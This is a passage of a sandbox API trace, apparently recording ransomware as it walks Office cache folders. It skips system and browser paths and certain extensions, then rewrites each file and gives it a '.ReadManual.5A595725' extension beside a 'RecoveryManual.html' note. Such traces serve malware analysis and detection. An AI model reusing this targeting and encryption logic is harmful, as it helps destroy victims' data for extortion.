(hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x29c6dbd) returned 0x4350000 [0183.958] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0184.049] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=30472273810) returned 1 [0184.054] CloseHandle (hObject=0x194) returned 1 [0184.054] SetSecurityInfo () returned 0x57 [0184.054] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0184.054] CloseHandle (hObject=0x190) returned 1 [0184.055] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0184.055] lstrcpyW (in: lpString1=0x6ab922, lpString2="WordMUI.msi" | out: lpString1="WordMUI.msi") returned="WordMUI.msi" [0184.055] lstrcmpiW (lpString1="WordMUI.msi", lpString2="RecoveryManual.html") returned 1 [0184.055] StrStrIW (lpFirst="WordMUI.msi", lpSrch=".ReadManual.5A595725") returned 0x0 [0184.055] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0184.055] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0184.055] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0184.055] StrCmpIW (psz1="msi", psz2="msi") returned 0 [0184.055] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0184.055] lstrcpyW (in: lpString1=0x6ab922, lpString2="WordMUI.xml" | out: lpString1="WordMUI.xml") returned="WordMUI.xml" [0184.056] lstrcmpiW (lpString1="WordMUI.xml", lpString2="RecoveryManual.html") returned 1 [0184.056] StrStrIW (lpFirst="WordMUI.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0184.056] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0184.056] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0184.056] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0184.056] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0184.056] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0184.056] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0184.056] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0184.056] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0184.056] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0184.056] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0184.056] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0184.056] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0184.056] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0184.056] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0184.056] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" [0184.056] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.ReadManual.5A595725" [0184.056] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.ReadManual.5A595725") returned 98 [0184.056] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=30472483921) returned 1 [0184.056] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020 [0184.057] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0184.057] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=1800) returned 1 [0184.057] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x708, lpName=0x0) returned 0x194 [0184.057] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd4) returned 1 [0184.058] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.058] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0184.060] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0184.060] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x708) returned 0x2f0000 [0184.060] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0184.060] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=30472860184) returned 1 [0184.060] CloseHandle (hObject=0x194) returned 1 [0184.060] SetSecurityInfo () returned 0x57 [0184.060] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0184.060] CloseHandle (hObject=0x190) returned 1 [0184.060] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0184.060] FindClose (in: hFindFile=0x6680e8 | out: hFindFile=0x6680e8) returned 1 [0184.060] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1 [0184.060] lstrcpyW (in: lpString1=0x69b8d0, lpString2="{90140000-002C-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C") returned="{90140000-002C-0409-1000-0000000FF1CE}-C" [0184.061] lstrcatW (in: lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C\\") returned="{90140000-002C-0409-1000-0000000FF1CE}-C\\" [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows\\") returned 0x0 [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\WINNT") returned 0x0 [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows.old\\") returned 0x0 [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\PerfLog\\") returned 0x0 [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch="\\WindowsApps\\") returned 0x0 [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Windows Defender\\") returned 0x0 [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch="\\microsoft shared\\") returned 0x0 [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Tor Browser\\") returned 0x0 [0184.061] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0184.061] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\") returned 67 [0184.062] FindFirstFileW (in: lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6680e8 [0184.064] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\" [0184.064] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0184.064] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0184.064] lstrcpyW (in: lpString1=0x69b922, lpString2="Proof.en" | out: lpString1="Proof.en") returned="Proof.en" [0184.064] lstrcatW (in: lpString1="Proof.en", lpString2="\\" | out: lpString1="Proof.en\\") returned="Proof.en\\" [0184.064] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch=":\\Windows\\") returned 0x0 [0184.065] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0184.065] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0184.065] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0184.065] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch=":\\WINNT") returned 0x0 [0184.065] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0184.065] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch=":\\Windows.old\\") returned 0x0 [0184.065] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch=":\\PerfLog\\") returned 0x0 [0184.065] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch="\\WindowsApps\\") returned 0x0 [0184.065] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0184.065] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0184.065] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0184.065] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0184.065] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0184.065] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0184.065] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0184.065] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch="\\Windows Defender\\") returned 0x0 [0184.065] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch="\\microsoft shared\\") returned 0x0 [0184.065] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0184.065] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0184.065] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0184.065] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0184.065] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0184.065] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch="\\Tor Browser\\") returned 0x0 [0184.065] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0184.065] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\") returned 76 [0184.065] FindFirstFileW (in: lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x668128 [0184.066] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\" [0184.066] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0184.066] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0184.066] lstrcpyW (in: lpString1=0x6ab934, lpString2="Proof.cab" | out: lpString1="Proof.cab") returned="Proof.cab" [0184.066] lstrcmpiW (lpString1="Proof.cab", lpString2="RecoveryManual.html") returned -1 [0184.066] StrStrIW (lpFirst="Proof.cab", lpSrch=".ReadManual.5A595725") returned 0x0 [0184.066] StrCmpIW (psz1="cab", psz2="exe") returned -1 [0184.066] StrCmpIW (psz1="cab", psz2="dll") returned -1 [0184.066] StrCmpIW (psz1="cab", psz2="sys") returned -1 [0184.066] StrCmpIW (psz1="cab", psz2="msi") returned -1 [0184.066] StrCmpIW (psz1="cab", psz2="mui") returned -1 [0184.066] StrCmpIW (psz1="cab", psz2="inf") returned -1 [0184.066] StrCmpIW (psz1="cab", psz2="cat") returned -1 [0184.066] StrCmpIW (psz1="cab", psz2="bat") returned 1 [0184.066] StrCmpIW (psz1="cab", psz2="cmd") returned -1 [0184.066] StrCmpIW (psz1="cab", psz2="ps1") returned -1 [0184.066] StrCmpIW (psz1="cab", psz2="vbs") returned -1 [0184.066] StrCmpIW (psz1="cab", psz2="ttf") returned -1 [0184.066] StrCmpIW (psz1="cab", psz2="fon") returned -1 [0184.066] StrCmpIW (psz1="cab", psz2="lnk") returned -1 [0184.066] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" [0184.067] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.ReadManual.5A595725" [0184.067] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.ReadManual.5A595725") returned 105 [0184.067] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=30473535868) returned 1 [0184.067] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab")) returned 0x2020 [0184.067] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0184.068] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11482605) returned 1 [0184.068] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaf35ed, lpName=0x0) returned 0x198 [0184.068] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe2) returned 1 [0184.068] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.068] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0184.070] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0184.070] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaf35ed) returned 0x4350000 [0184.587] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0184.613] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=30528133389) returned 1 [0184.613] CloseHandle (hObject=0x198) returned 1 [0184.613] 